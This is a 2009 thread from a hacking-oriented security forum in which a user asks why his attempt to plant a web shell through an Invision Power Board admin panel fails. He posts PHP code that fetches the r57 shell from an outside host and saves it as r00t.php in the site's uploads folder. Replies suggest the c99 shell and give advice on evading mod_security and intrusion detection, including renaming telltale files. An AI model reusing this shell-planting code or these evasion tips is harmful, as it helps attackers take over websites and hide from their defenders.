 |
|
 |
 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 143
 Members: 0
 Total: 143
|
|
|
|
|
|
Full disclosure |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
can´t insert shell "Method Not Implemented" |
|
 Posted: Fri Jul 24, 2009 8:56 am |
 |
|
| xalupeao |
| Regular user |
 |
|
| Joined: May 23, 2009 |
| Posts: 17 |
| Location: Santiago, Chile |
|
|
 |
|
 |
|
Method Not Implemented
POST to /admin/index.php not supported.
plz help me |
|
|
|
|
| Posted: Sat Jul 25, 2009 2:36 am |
|
|
| one23 |
| Advanced user |
 |
|
| Joined: Dec 12, 2008 |
| Posts: 98 |
|
|
|
|
|
|
|
| As i can understand from the error it seems the server won't let u to use forms with POST method , . what sheller did u used ? did u tried c99 ? i think you tried r57 coz r57 use post method |
|
|
|
|
| Posted: Sat Jul 25, 2009 9:16 am |
|
|
| xalupeao |
| Regular user |
|
|
| Joined: May 23, 2009 |
| Posts: 17 |
| Location: Santiago, Chile |
|
|
|
|
|
|
POST or GET = ERROR
i am the ACP Home > View General Settings > Add/Edit Settings
$linky="http://www.localroot.net/r57.txt";
$saved="/www/fach/uploads/r00t.php";
$from=fopen("$linky","r");
$to=fopen("$saved","w");
while(!feof($from)){
$string=fgets($from,4096);
fputs($to,$string);
}
fclose($to);
fclose($from);
and ERROR...
Method Not Implemented
POST to /admin/index.php not supported.
is possible upload lang modifi whit insert shell ?... |
|
|
|
|
|
|
|
|
| Posted: Mon Jul 27, 2009 3:18 pm |
|
|
| waraxe |
| Site admin |
 |
|
| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
|
|
|
|
|
|
This error message point to the mod_security:
http://sourceforge.net/projects/mod-security/
It is web application firewall/IDS/IPS and it is probably detecting attack patterns in your activity. So try to bypass the detection. Best start is testing @localhost with exactly same target software and installed mod_security.
One more thing: avoid text strings/filenames like "r00t" or "r57", this will trigger most Intrusion Detection Systems  |
|
|
|
|
www.waraxe.us Forum Index -> Invision Power Board
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|
